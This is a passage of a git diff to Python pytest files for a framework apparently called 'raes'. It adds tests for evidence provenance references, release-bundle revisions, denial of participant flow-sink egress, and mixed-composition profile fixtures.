payload["apparatus_context_ref"] = { + "ref_kind": "apparatus-context", + "ref_id": run.apparatus_context.apparatus_context_id, + "ref_version": run.apparatus_context.context_version, + } + return task, run, capture, ExperimentEvidenceRecordModel.model_validate(payload), content + + +@pytest.mark.parametrize("field", ["apparatus_context_ref", "run_ref"]) +@pytest.mark.parametrize( + ("key", "value"), + [ + ("ref_kind", "other"), + ("ref_id", "different-execution"), + ("ref_version", "99.0.0"), + ("ref_digest", "sha256:" + "0" * 64), + ("ref_path", "unverified/record.json"), + ], +) +def test_evidence_execution_reference_must_resolve(provenance_bundle, field, key, value): + task, run, capture, record, content = provenance_bundle + payload = record.model_dump(mode="json") + payload[field][key] = value + record = ExperimentEvidenceRecordModel.model_validate(payload) + + with pytest.raises(ValueError, match=field): + _validate(run, record, task=task, capture=capture, content=content) + + +@pytest.mark.parametrize("key,value", [("ref_id", "different-task"), ("ref_version", "99.0.0")]) +def test_evidence_task_reference_must_match_task_identity(provenance_bundle, key, value): + task, run, capture, record, content = provenance_bundle + payload = record.model_dump(mode="json") + payload["task_ref"][key] = value + record = ExperimentEvidenceRecordModel.model_validate(payload) + + with pytest.raises(ValueError, match="task_ref"): + _validate(run, record, task=task, capture=capture, content=content) + + +@pytest.mark.parametrize("version", [None, "1.0.0"]) +def test_evidence_accepts_matching_optional_execution_versions(provenance_bundle, version): + task, run, capture, record, content = provenance_bundle + payload = record.model_dump(mode="json") + payload["apparatus_context_ref"]["ref_version"] = version + payload["run_ref"]["ref_version"] = version + record = ExperimentEvidenceRecordModel.model_validate(payload) + assert _validate(run, record, task=task, capture=capture, content=content) + + +@pytest.mark.parametrize("key,value", [("ref_id", "absent-channel"), ("ref_version", "99.0.0")]) +def test_admitted_channel_must_belong_to_the_run_apparatus(provenance_bundle, key, value): + task, run, capture, record, content = provenance_bundle + payload = run.model_dump(mode="json") + payload["apparatus_context"]["measurement_channels"][0][key] = value + run = ExperimentRunModel.model_validate(payload) + + with pytest.raises(ValueError, match="measurement channel.*apparatus"): + _validate(run, record, task=task, capture=capture, content=content) + + +@pytest.mark.parametrize("kind", ["processor", "backend"]) +@pytest.mark.parametrize( + ("key", "value"), + [("ref_id", "unselected-producer"), ("ref_version", "99.0.0"), ("ref_path", "unverified/producer.json")], +) +def test_augmentation_producer_must_resolve_to_apparatus(provenance_bundle, kind, key, value): + task, run, capture, record, content = provenance_bundle + payload = run.model_dump(mode="json") + disclosure = _base_augmentation_disclosure() + identity = run.apparatus_context.components[kind].identity + disclosure["augmented_by_ref"] = {"ref_kind": kind, "ref_id": identity.name, "ref_version": identity.version} + disclosure["augmented_by_ref"][key] = value + payload["augmentation_disclosures"] = [disclosure] + run = ExperimentRunModel.model_validate(payload) + + with pytest.raises(ValueError, match="augmentation.*apparatus"): + _validate(run, record, task=task, capture=capture, content=content) + + +def test_serialized_provenance_preserves_capture_sources_and_all_augmentation_purposes(provenance_bundle): + task, run, capture, record, content = provenance_bundle + payload = run.model_dump(mode="json") + disclosures = [] + for purpose, kind in [("evidence", "backend"), ("evaluation", "processor"), ("operational", "backend")]: + disclosure = _base_augmentation_disclosure() + identity = run.apparatus_context.components[kind].identity + disclosure.update(augmentation_id=purpose, purpose=purpose, classifications=["apparatus_only"]) + disclosure["augmented_by_ref"] = {"ref_kind": kind, "ref_id": identity.name, "ref_version": identity.version} + if purpose == "operational": + disclosure["evidence_refs"] = [] + disclosures.append(disclosure) + payload["augmentation_disclosures"] = disclosures + run = ExperimentRunModel.model_validate(payload) + before = (run.model_dump(mode="json"), capture.model_dump(mode="json"), record.model_dump(mode="json")) + + restored_run = ExperimentRunModel.model_validate_json(run.model_dump_json()) + restored_capture = ExperimentCaptureSpecModel.model_validate_json(capture.model_dump_json()) + restored_record = ExperimentEvidenceRecordModel.model_validate_json(record.model_dump_json()) + assert not observability_evidence_conformance_diagnostics(restored_run) + proof = _validate(restored_run, restored_record, task=task, capture=restored_capture, content=content) + proof.require_context(task, restored_run) + assert len(proof.bindings) == 1 + binding = proof.bindings[0] + + assert binding.requirement_id == restored_record.capture_requirement_ref + assert binding.record_id == restored_record.evidence_record_id + assert binding.artifact_id == restored_run.evidence_artifacts[0].artifact_id + assert restored_record.capture_requirement_ref in restored_capture.capture_requirements + assert restored_record.source_refs[0].model_dump(exclude_none=True) == ( + restored_capture.capture_requirements[binding.requirement_id].channel_ref.model_dump(exclude_none=True) + ) + assert restored_run.scenario_snapshot_ref == run.scenario_snapshot_ref + assert len(restored_run.augmentation_disclosures) == 3 + assert restored_run.augmentation_disclosures[-1].evidence_refs == [] + assert before == ( + restored_run.model_dump(mode="json"), + restored_capture.model_dump(mode="json"), + restored_record.model_dump(mode="json"), + ) diff --git a/implementations/python/tests/test_fm2_semantics.py b/implementations/python/tests/test_fm2_semantics.py index 0afeedf51..09f6f3158 100644 --- a/implementations/python/tests/test_fm2_semantics.py +++ b/implementations/python/tests/test_fm2_semantics.py @@ -72,7 +72,7 @@ def test_validator_and_compiler_agree_on_window_errors(self): main: {scripts: [timeline]} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} window: stories: [main] @@ -128,7 +128,7 @@ def test_compiler_and_planner_agree_on_window_refresh_semantics(self): blue: {role: blue} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} window: workflows: [flow] @@ -181,7 +181,7 @@ def test_validator_and_compiler_agree_on_objective_reference_errors(self): blue: {role: blue} objectives: base: - entity: blue + owner: blue success: {assertions: [missing-assertion]} depends_on: [missing-objective] """) @@ -231,10 +231,10 @@ def test_compiler_and_planner_agree_on_objective_dependency_ordering_and_refresh blue: {role: blue} objectives: base: - entity: blue + owner: blue success: {assertions: [ready]} dependent: - entity: blue + owner: blue success: {assertions: [gate]} depends_on: [base] """) diff --git a/implementations/python/tests/test_formal_semantic_validation.py b/implementations/python/tests/test_formal_semantic_validation.py index 47de736b7..925e8dffd 100644 --- a/implementations/python/tests/test_formal_semantic_validation.py +++ b/implementations/python/tests/test_formal_semantic_validation.py @@ -96,6 +96,56 @@ def test_atomic_release_index_validates_every_historical_bundle() -> None: "15.0.0", "16.0.0", "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "42.0.0", + "43.0.0", + "44.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + "53.0.0", + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", + "67.0.0", ] assert all(validate_release_bundle(REPO_ROOT, release) == [] for release in releases) @@ -104,10 +154,20 @@ def test_atomic_release_index_validates_every_historical_bundle() -> None: def test_current_retest_bundle_is_coherent_and_clean() -> None: release, protocol, corpus, snapshot, analysis = copy_bundle(load_retest_bundle, REPO_ROOT) - assert release.manifest["revision"] == "17.0.0" + assert release.manifest["revision"] == "67.0.0" assert protocol["revision"] == "2.0.0" - assert corpus["revision"] == "3.0.0" - assert snapshot["baseline"]["release_revision"] == "16.0.0" + assert corpus["revision"] == "4.0.0" + assert snapshot["baseline"]["release_revision"] == "66.0.0" + assert snapshot["deviations"] == [] + assert validate_retest_bundle(REPO_ROOT, release, protocol, corpus, snapshot, analysis) == [] + + +def test_materialization_capture_preserves_recorded_digest_deviations() -> None: + release = next( + item for item in copy_bundle(load_release_bundles, REPO_ROOT) if item.manifest["revision"] == "19.0.0" + ) + snapshot = release.snapshot + assert snapshot["baseline"]["release_revision"] == "18.0.0" assert {item["case_id"] for item in snapshot["deviations"]} == { "compile-repeatability-control", "compile-non-vacuity-control", @@ -116,7 +176,6 @@ def test_current_retest_bundle_is_coherent_and_clean() -> None: assert all( item["baseline"]["actual_outcome"] == item["retest"]["actual_outcome"] for item in snapshot["deviations"] ) - assert validate_retest_bundle(REPO_ROOT, release, protocol, corpus, snapshot, analysis) == [] def test_current_analysis_evidence_selects_its_release_corpus() -> None: @@ -374,7 +433,6 @@ def test_historical_gate_rejects_substitution_with_current_evidence( item for item in copy_bundle(load_release_bundles, REPO_ROOT) if item.manifest["revision"] == "3.0.0" ) protocol, corpus, snapshot, analysis = release.protocol, release.corpus, release.snapshot, release.analysis - case = next(item for item in corpus["cases"] if item["case_id"] == case_id) observation = next(item for item in snapshot["observations"] if item["case_id"] == case_id) evidence_path = observation["evidence_artifact_path"] _, _, _, current_snapshot, _ = copy_bundle(load_retest_bundle, REPO_ROOT) @@ -809,3 +867,21 @@ def test_satisfiability_gate_rejects_mutated_execution_snapshot() -> None: failures = validate_satisfiability_analysis(REPO_ROOT, manifest, snapshot, analysis) assert "formal-satisfiability-snapshot-drift" in _rule_ids(failures) + + +@pytest.mark.integration +def test_current_retest_analysis_pins_its_own_execution_snapshot() -> None: + """The published analysis must name the snapshot its bundle selects. + + An analysis that still points at the preceding replay publishes that older + execution as its pinned evidence, so the release's provenance chain no + longer reaches the snapshot it actually shipped. + """ + + release, _protocol, _corpus, _snapshot, analysis = copy_bundle(load_retest_bundle, REPO_ROOT) + + selected_snapshot = release.manifest["snapshot_path"] + evidence = analysis["claim"]["evidence_artifacts"] + snapshots = [item for item in evidence if "execution-snapshot-" in item] + + assert snapshots == [selected_snapshot] diff --git a/implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py b/implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py index b81751f70..49759bfff 100644 --- a/implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py +++ b/implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py @@ -10,6 +10,7 @@ from __future__ import annotations +from dataclasses import replace from pathlib import Path import pytest @@ -27,6 +28,7 @@ from raes_contracts.contracts import ParticipantFlowFinalDisposition as Disposition from raes_contracts.contracts import ParticipantFlowSinkKind from raes_contracts.runtime_state import OperationState, OperationStatus +from raes_runtime import participant_crossing_egress from raes_runtime.control_plane import RuntimeControlPlane from raes_runtime.control_plane_store import InMemoryControlPlaneStore, LocalControlPlaneStore from raes_runtime.participant_control_intents import ParticipantHandoffControlIntent @@ -35,6 +37,7 @@ Sem233FlowSinkResolver, deny_resolver, permit_resolver, + sem233_plane, ) _SECRET = "secret flow-sink policy detail must not leak" @@ -105,7 +108,7 @@ def _no_secret_leak(plane: RuntimeControlPlane, receipt: object) -> bool: def test_permitted_ingress_calls_backend_once_and_records_sem233() -> None: target = policy_capable_target() counter = _instrument_backend(target) - plane = action_plane(permit_resolver(), target=target) + plane = sem233_plane(permit_resolver(), target=target) receipt = admit(plane, idempotency_key="permit-ingress") @@ -120,7 +123,7 @@ def test_permitted_ingress_calls_backend_once_and_records_sem233() -> None: def test_permitted_egress_returns_view_with_sem233_reference() -> None: - plane = action_plane(permit_resolver(), target=_egress_target()) + plane = sem233_plane(permit_resolver(), target=_egress_target()) view = _status_view(plane, idempotency_key="permit-egress") @@ -161,7 +164,7 @@ def test_permitted_control_ingress_applies_transition_with_sem233_reference() -> def test_non_permit_ingress_never_dispatches_backend(toggles: FlowSinkToggles) -> None: target = policy_capable_target() counter = _instrument_backend(target) - plane = action_plane(deny_resolver(toggles), target=target) + plane = sem233_plane(deny_resolver(toggles), target=target) receipt = admit(plane, idempotency_key="deny-ingress") @@ -177,15 +180,106 @@ def test_non_permit_ingress_never_dispatches_backend(toggles: FlowSinkToggles) - @pytest.mark.parametrize("toggles", _NON_PERMIT_TOGGLES) def test_non_permit_egress_raises_and_serializes_nothing(toggles: FlowSinkToggles) -> None: - plane = action_plane(deny_resolver(toggles), target=_egress_target()) + plane = sem233_plane(deny_resolver(toggles), target=_egress_target()) with pytest.raises(PermissionError, match="not permitted"): _status_view(plane, idempotency_key="deny-egress") - stages = [item["occurrence"]["stage"] for item in plane.snapshot.participant_crossing_history[PARTICIPANT]] + history = plane.snapshot.participant_crossing_history[PARTICIPANT] + stages = [item["occurrence"]["stage"] for item in history] + assert "decided" in stages assert "delivered" not in stages - assert plane.audit_log()[-1].reason == "flow-sink-denied" - assert _no_secret_leak(plane, plane.audit_log()[-1]) + assert "observed" not in stages + audit = plane.audit_log()[-1] + assert audit.reason == "flow-sink-denied" + assert audit.allowed is False + status = _operation_status(plane, audit.operation_id) + assert status.state is OperationState.FAILED + assert {item.code for item in status.diagnostics} == { + "runtime.participant-flow-sink-denied", + "runtime.control-plane.operation-failed", + } + assert plane._store.load_records()[audit.operation_id].result_payload is None + assert _no_secret_leak(plane, audit) + + +def test_denied_egress_replay_keeps_the_same_failed_operation() -> None: + plane = sem233_plane( + deny_resolver(FlowSinkToggles(capability_disposition=Disposition.DENY)), + target=_egress_target(), + ) + + with pytest.raises(PermissionError, match="not permitted"): + _status_view(plane, idempotency_key="deny-egress-replay") + audit = plane.audit_log()[-1] + audits = plane.audit_log() + history = plane.snapshot.participant_crossing_history[PARTICIPANT] + + with pytest.raises(PermissionError, match="not permitted"): + _status_view(plane, idempotency_key="deny-egress-replay") + + assert plane.audit_log() == audits + assert plane.snapshot.participant_crossing_history[PARTICIPANT] == history + assert _operation_status(plane, audit.operation_id).state is OperationState.FAILED + + +def test_claim_race_cannot_release_payload_from_denied_incumbent(monkeypatch: pytest.MonkeyPatch) -> None: + permitted = sem233_plane(permit_resolver(), target=_egress_target()) + payload = _status_view(permitted, idempotency_key="permitted-source").model_dump(mode="json") + resolver = deny_resolver(FlowSinkToggles(capability_disposition=Disposition.DENY)) + plane = sem233_plane(resolver, target=_egress_target()) + with pytest.raises(PermissionError, match="not permitted"): + _status_view(plane, idempotency_key="racing-egress") + operation_id = plane.audit_log()[-1].operation_id + incumbent = plane._store.load_records()[operation_id] + resolver.toggles = FlowSinkToggles() + + # Model another writer winning the claim after this call prepared a permit. + # Even an incumbent with a stray legacy payload cannot authorize release. + monkeypatch.setattr(participant_crossing_egress, "commit_prepared_crossing", lambda *_args: incumbent.receipt) + original_load = plane._store.load_records + monkeypatch.setattr( + plane._store, + "load_records", + lambda: {**original_load(), operation_id: replace(incumbent, result_payload=payload)}, + ) + + with pytest.raises(PermissionError, match="not permitted"): + _status_view(plane, idempotency_key="racing-egress") + + +def test_denied_egress_remains_failed_after_local_store_reopen(tmp_path: Path) -> None: + store_path = tmp_path / "denied-egress" + resolver = deny_resolver(FlowSinkToggles(capability_disposition=Disposition.DENY)) + first = sem233_plane( + resolver, + target=_egress_target(), + store=LocalControlPlaneStore(store_path), + ) + with pytest.raises(PermissionError, match="not permitted"): + _status_view(first, idempotency_key="denied-egress-reopen") + audit = first.audit_log()[-1] + audits = first.audit_log() + history = first.snapshot.participant_crossing_history[PARTICIPANT] + first.close() + + reopened_resolver = deny_resolver(FlowSinkToggles(capability_disposition=Disposition.DENY)) + reopened_resolver.subjects = list(resolver.subjects) + reopened_resolver.evidence_refs = set(resolver.evidence_refs) + reopened = RuntimeControlPlane( + _egress_target(), + store=LocalControlPlaneStore(store_path), + crossing_policy_resolver=reopened_resolver, + ) + try: + with pytest.raises(PermissionError, match="not permitted"): + _status_view(reopened, idempotency_key="denied-egress-reopen") + assert _operation_status(reopened, audit.operation_id).state is OperationState.FAILED + assert reopened.audit_log() == audits + assert reopened.snapshot.participant_crossing_history[PARTICIPANT] == history + assert reopened._store.load_records()[audit.operation_id].result_payload is None + finally: + reopened.close() @pytest.mark.parametrize("toggles", _NON_PERMIT_TOGGLES) @@ -224,7 +318,7 @@ def test_permit_bound_to_a_different_sink_kind_is_denied() -> None: target = policy_capable_target() counter = _instrument_backend(target) resolver = deny_resolver(FlowSinkToggles(relation_sink_kind=ParticipantFlowSinkKind.PARTICIPANT_OUTPUT)) - plane = action_plane(resolver, target=target) + plane = sem233_plane(resolver, target=target) receipt = admit(plane, idempotency_key="wrong-sink-kind") @@ -251,7 +345,7 @@ def test_secure_default_requires_flow_sink_resolver_capability() -> None: def test_idempotent_replay_returns_stored_receipt_without_second_backend_call() -> None: target = policy_capable_target() counter = _instrument_backend(target) - plane = action_plane(permit_resolver(), target=target) + plane = sem233_plane(permit_resolver(), target=target) first = admit(plane, idempotency_key="replay") retry = admit(plane, idempotency_key="replay") @@ -262,7 +356,7 @@ def test_idempotent_replay_returns_stored_receipt_without_second_backend_call() def test_replay_after_state_cut_advance_is_rejected() -> None: - plane = action_plane(permit_resolver()) + plane = sem233_plane(permit_resolver()) admit(plane, idempotency_key="cut-bound") admit( @@ -271,7 +365,7 @@ def test_replay_after_state_cut_advance_is_rejected() -> None: idempotency_key="later", ) - with pytest.raises(ValueError, match="state cut advanced"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): admit(plane, idempotency_key="cut-bound") @@ -282,10 +376,10 @@ def test_replay_after_state_cut_advance_is_rejected() -> None: "make_store", [lambda _p: InMemoryControlPlaneStore(), lambda p: LocalControlPlaneStore(p / "cp")] ) def test_permit_and_denial_hold_across_both_stores(make_store, tmp_path: Path) -> None: - permit_plane = action_plane(permit_resolver(), store=make_store(tmp_path / "permit")) + permit_plane = sem233_plane(permit_resolver(), store=make_store(tmp_path / "permit")) assert admit(permit_plane, idempotency_key="store-permit").accepted is True - deny_plane = action_plane( + deny_plane = sem233_plane( deny_resolver(FlowSinkToggles(capability_disposition=Disposition.DENY)), store=make_store(tmp_path / "deny"), ) @@ -298,7 +392,7 @@ def test_permit_and_denial_hold_across_both_stores(make_store, tmp_path: Path) - def test_local_store_restart_revalidates_and_replays_idempotently(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" resolver = permit_resolver() - first = action_plane(resolver, store=LocalControlPlaneStore(store_path)) + first = sem233_plane(resolver, store=LocalControlPlaneStore(store_path)) receipt = admit(first, idempotency_key="restart") first.close() @@ -339,10 +433,25 @@ def commit_participant_transition(self, **kwargs: object) -> None: raise RuntimeError("injected atomic write failure") +def test_denied_egress_commit_failure_writes_no_terminal_audit_or_history() -> None: + plane = sem233_plane( + deny_resolver(FlowSinkToggles(capability_disposition=Disposition.DENY)), + target=_egress_target(), + store=_FailingCommitStore(), + ) + prior_audits = plane.audit_log() + + with pytest.raises(RuntimeError, match="atomic write failure"): + _status_view(plane, idempotency_key="denied-egress-atomic") + + assert plane._store.read_audit() == prior_audits + assert plane._store.load_snapshot().participant_crossing_history == {} + + def test_commit_before_effect_failing_store_never_dispatches_backend() -> None: target = policy_capable_target() counter = _instrument_backend(target) - plane = action_plane(permit_resolver(), store=_FailingCommitStore(), target=target) + plane = sem233_plane(permit_resolver(), store=_FailingCommitStore(), target=target) with pytest.raises(RuntimeError, match="atomic write failure"): admit(plane, idempotency_key="failing") diff --git a/implementations/python/tests/test_issue_1014_mixed_composition_contracts.py b/implementations/python/tests/test_issue_1014_mixed_composition_contracts.py new file mode 100644 index 000000000..37d54c512 --- /dev/null +++ b/implementations/python/tests/test_issue_1014_mixed_composition_contracts.py @@ -0,0 +1,784 @@ +"""Portable SEM-234 mixed-composition contract and resolution tests.""" + +from __future__ import annotations + +import hashlib +import json +from copy import deepcopy +from dataclasses import replace +from pathlib import Path +from types import SimpleNamespace + +import pytest +from pydantic import ValidationError +from raes_backend_protocols.capabilities import ParticipantFeatureSupport +from raes_backend_protocols.participant_feature_admission import resolve_participant_feature_support +from raes_conformance.conformance import contract_validation_strength, validate_contract_payload +from raes_contracts.contracts import schema_bundle +from raes_contracts.contracts.mixed_composition import ( + MIXED_COMPOSITION_CONTRACT_ID, + CompositionFeatureRequirementModel, + MixedCompositionValidationLimits, + MixedParticipantCompositionProfileModel, + parse_mixed_composition_profile, + seal_mixed_composition_profile, +) +from raes_contracts.contracts.mixed_composition_resolution import ( + MixedCompositionFeatureDowngradeAuthorization, + MixedCompositionResolutionContext, + MixedCompositionTrustedAllocation, + MixedCompositionTrustedComponent, + MixedCompositionTrustedEdge, + MixedCompositionTrustedTransition, + validate_mixed_composition_context, +) +from raes_contracts.contracts.time_model import ( + ClockDeclarationModel, + ExactRatioModel, + TimeDomainDeclarationModel, + TimeDomainMappingDeclarationModel, + TimeModelDeclarationModel, +) +from raes_contracts.json_ingress import parse_bounded_json_object +from raes_contracts.vocabulary import ParticipantFeatureSupportLevel + +SHA_A = "sha256:" + "a" * 64 +SHA_B = "sha256:" + "b" * 64 +SHA_C = "sha256:" + "c" * 64 +SHA_D = "sha256:" + "d" * 64 +SHA_E = "sha256:" + "e" * 64 +SHA_F = "sha256:" + "f" * 64 +REPO_ROOT = Path(__file__).resolve().parents[3] +SCHEMA_PATH = REPO_ROOT / "contracts/schemas/plans/mixed-participant-composition-profile-v1.json" +FIXTURE_ROOT = REPO_ROOT / "contracts/fixtures/plans/mixed-participant-composition-profile-v1" +PUBLICATION_PATH = REPO_ROOT / "contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json" + + +def _manifest_ref(component: str, digest: str) -> dict[str, object]: + return { + "ref_kind": "manifest", + "ref_id": component, + "ref_version": "backend-manifest/v2", + "ref_digest": digest, + "subject_ref": { + "ref_kind": "backend", + "ref_id": component, + "ref_version": "1", + }, + } + + +def _component(component_id: str, form: str, digest: str, envelope_digest: str) -> dict[str, object]: + return { + "component_id": component_id, + "apparatus_identity_ref": f"apparatus:{component_id}", + "realization_form": form, + "manifest_ref": _manifest_ref(component_id, digest), + "realization_envelope": { + "contract_id": "realization-envelope-v1", + "envelope_id": f"envelope:{component_id}", + "schema_version": "realization-envelope/v1", + "digest": envelope_digest, + "configuration_digest": SHA_F, + }, + "native_ownership_ref": f"native-ownership:{component_id}", + } + + +def _allocation( + allocation_id: str, + target_kind: str, + target_address: str, + provider: str, + *, + phase_ids: list[str] | None = None, +) -> dict[str, object]: + return { + "allocation_id": allocation_id, + "target_kind": target_kind, + "target_address": target_address, + "provider_component_id": provider, + "phase_ids": phase_ids or ["phase.main"], + "participant_identity_ref": "participant:alice", + "controller_ref": "controller:operator", + "action_authority_ref": "authority:action", + "routing_ref": "route:portable", + "feature_requirements": [ + { + "feature": "participant_ingress_admission", + "required_level": "exact", + } + ], + } + + +def _edge(*, phase_ids: list[str] | None = None) -> dict[str, object]: + return { + "edge_id": "edge.sim-to-emu", + "source_component_id": "sim", + "target_component_id": "emu", + "phase_ids": phase_ids or ["phase.main"], + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation:status", + "subject_revision": "7", + "participant_address": "participants.alice", + "episode_id": "episode:1", + }, + "audience_scope_ref": "audience:alice", + "policy": { + "policy_id": "policy:crossing", + "policy_revision": "3", + "policy_digest": SHA_C, + "policy_decision_ref": "decision:7", + "decision_cut_ref": "cut:7", + "effective_order": 7, + "valid_from_order": 1, + "valid_until_order": 9, + }, + "controller_ref": "controller:operator", + "authority_ref": "authority:edge", + "routing_ref": "route:portable", + "disclosure_authority_ref": "authority:disclosure", + "native_ownership_ref": "native-ownership:sim", + "time_binding": { + "time_model_ref": "time-model:composition", + "time_model_digest": SHA_D, + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "temporal_coupling": "bounded-asynchronous", + }, + "mapping_loss": { + "kind": "semantics_approximated", + "basis_ref": "mapping:basis", + "affected_ref": "observation:status", + "limitation_ref": "limitation:mapping", + }, + "failure_behavior": { + "failure_ref": "failure:edge", + "disposition": "fail-profile", + }, + "evidence_bindings": [ + { + "obligation_ref": "obligation:edge-realization", + "evidence_ref": "evidence:edge-realization", + } + ], + } + + +def _base_fields() -> dict[str, object]: + allocations = { + "allocation.participant": _allocation("allocation.participant", "participant", "participants.alice", "sim"), + "allocation.scope": _allocation("allocation.scope", "controlled-scope", "nodes.target", "emu"), + "allocation.action": _allocation("allocation.action", "action-family", "actions.alice.inspect", "sim"), + "allocation.observation": _allocation( + "allocation.observation", "observation-source", "observations.target.status", "emu" + ), + "allocation.crossing": _allocation("allocation.crossing", "crossing", "crossings.alice.status", "emu"), + } + return { + "profile_id": "profile:mixed", + "scenario_snapshot_ref": { + "ref_kind": "scenario-snapshot", + "ref_id": "scenario:authored", + "ref_version": "1", + "ref_digest": SHA_A, + }, + "composition_mode": "simultaneous-mixed", + "control_loop_posture": "closed-loop", + "world_assumption": "bounded-open-world", + "federation_membership": "pre-admitted-staged", + "components": { + "sim": _component("sim", "simulation", SHA_A, SHA_B), + "emu": _component("emu", "emulation-or-operation", SHA_C, SHA_D), + }, + "allocations": allocations, + "edges": {"edge.sim-to-emu": _edge()}, + "phases": { + "phase.main": { + "phase_id": "phase.main", + "active_component_ids": ["sim", "emu"], + "active_allocation_ids": list(allocations), + "active_edge_ids": ["edge.sim-to-emu"], + "evidence_bindings": [ + { + "obligation_ref": "obligation:phase-realization", + "evidence_ref": "evidence:phase-realization", + } + ], + } + }, + "initial_phase_id": "phase.main", + "phase_order": ["phase.main"], + "transitions": {}, + "nested_profile_refs": {}, + } + + +def _profile(**changes: object) -> MixedParticipantCompositionProfileModel: + fields = _base_fields() + fields.update(changes) + return seal_mixed_composition_profile(**fields) + + +def _alternative_profile(component_id: str = "sim") -> MixedParticipantCompositionProfileModel: + fields = _base_fields() + fields.update( + composition_mode="alternative", + federation_membership="fixed", + components={component_id: fields["components"][component_id]}, + edges={}, + ) + for allocation in fields["allocations"].values(): + allocation["provider_component_id"] = component_id + fields["phases"]["phase.main"].update(active_component_ids=[component_id], active_edge_ids=[]) + return seal_mixed_composition_profile(**fields) + + +def _staged_profile() -> MixedParticipantCompositionProfileModel: + fields = _base_fields() + fields.update(composition_mode="staged", initial_phase_id="phase.sim", phase_order=["phase.sim", "phase.emu"]) + for allocation_id in ("allocation.participant", "allocation.action"): + fields["allocations"][allocation_id]["phase_ids"] = ["phase.sim"] + for allocation_id in ("allocation.scope", "allocation.observation", "allocation.crossing"): + fields["allocations"][allocation_id]["phase_ids"] = ["phase.emu"] + fields["allocations"]["allocation.participant"]["provider_component_id"] = "sim" + fields["allocations"]["allocation.action"]["provider_component_id"] = "sim" + for allocation_id in ("allocation.scope", "allocation.observation", "allocation.crossing"): + fields["allocations"][allocation_id]["provider_component_id"] = "emu" + fields["edges"] = {} + fields["phases"] = { + "phase.sim": { + "phase_id": "phase.sim", + "active_component_ids": ["sim"], + "active_allocation_ids": ["allocation.participant", "allocation.action"], + "active_edge_ids": [], + "evidence_bindings": [{"obligation_ref": "obligation:sim", "evidence_ref": "evidence:phase-realization"}], + }, + "phase.emu": { + "phase_id": "phase.emu", + "active_component_ids": ["emu"], + "active_allocation_ids": [ + "allocation.scope", + "allocation.observation", + "allocation.crossing", + ], + "active_edge_ids": [], + "evidence_bindings": [{"obligation_ref": "obligation:emu", "evidence_ref": "evidence:phase-realization"}], + }, + } + fields["transitions"] = { + "transition.sim-to-emu": { + "transition_id": "transition.sim-to-emu", + "source_phase_id": "phase.sim", + "target_phase_id": "phase.emu", + "trigger_ref": "trigger:advance", + "evaluator_ref": "evaluator:admitted", + "progress_bound": 1, + "failure_disposition": "fail-profile", + "evidence_bindings": [ + {"obligation_ref": "obligation:transition", "evidence_ref": "evidence:phase-realization"} + ], + } + } + return seal_mixed_composition_profile(**fields) + + +def _time_model() -> TimeModelDeclarationModel: + ratio = ExactRatioModel(numerator=1, denominator=1) + sim_domain = TimeDomainDeclarationModel( + address="time.domains.sim", + kind="simulated", + tick_period_seconds=ratio, + epoch="scenario_start", + visibility="runtime_only", + description="simulation domain", + ) + emu_domain = TimeDomainDeclarationModel( + address="time.domains.emu", + kind="simulated", + tick_period_seconds=ratio, + epoch="scenario_start", + visibility="runtime_only", + description="emulation domain", + ) + return TimeModelDeclarationModel( + domains={sim_domain.address: sim_domain, emu_domain.address: emu_domain}, + clocks={ + "time.clocks.sim": ClockDeclarationModel( + address="time.clocks.sim", + time_domain_address=sim_domain.address, + authority_kind="backend", + authority_ref="sim", + monotonicity="non_decreasing", + description="simulation clock", + ), + "time.clocks.emu": ClockDeclarationModel( + address="time.clocks.emu", + time_domain_address=emu_domain.address, + authority_kind="backend", + authority_ref="emu", + monotonicity="non_decreasing", + description="emulation clock", + ), + }, + mappings={ + "time.mappings.sim-to-emu": TimeDomainMappingDeclarationModel( + address="time.mappings.sim-to-emu", + source_domain_address=sim_domain.address, + target_domain_address=emu_domain.address, + mapping_kind="identity", + description="shared admitted tick scale", + ) + }, + ) + + +def _backend_manifest(level: ParticipantFeatureSupportLevel = ParticipantFeatureSupportLevel.EXACT) -> object: + declaration = ParticipantFeatureSupport( + feature="participant_ingress_admission", + support_level=level, + constraint_refs=("constraint:bounded",) if level is ParticipantFeatureSupportLevel.BOUNDED else (), + limitation_refs=("limitation:bounded",) if level is not ParticipantFeatureSupportLevel.EXACT else (), + disclosure_refs=("disclosure:bounded",) if level is not ParticipantFeatureSupportLevel.EXACT else (), + evidence_refs=("evidence:feature",), + ) + participant_runtime = SimpleNamespace( + supported_behavior_features=frozenset({"participant_ingress_admission"}), + supported_interaction_features=frozenset(), + feature_support=(declaration,), + ) + return SimpleNamespace( + participant_runtime=participant_runtime, + supported_contract_versions=frozenset( + {"participant-control-occurrence-v1", "participant-crossing-occurrence-v1"} + ), + ) + + +def _feature_support_resolver(manifests: dict[str, object]): + def resolve( + _profile_id: str, + provider_component_id: str, + requirement: CompositionFeatureRequirementModel, + ) -> None: + manifest = manifests.get(provider_component_id) + if manifest is None: + raise ValueError("provider manifest is unresolved") + resolve_participant_feature_support( + manifest, + requirement.feature, + required_level=requirement.required_level, + allowed_downgrade_level=requirement.allowed_downgrade_level, + 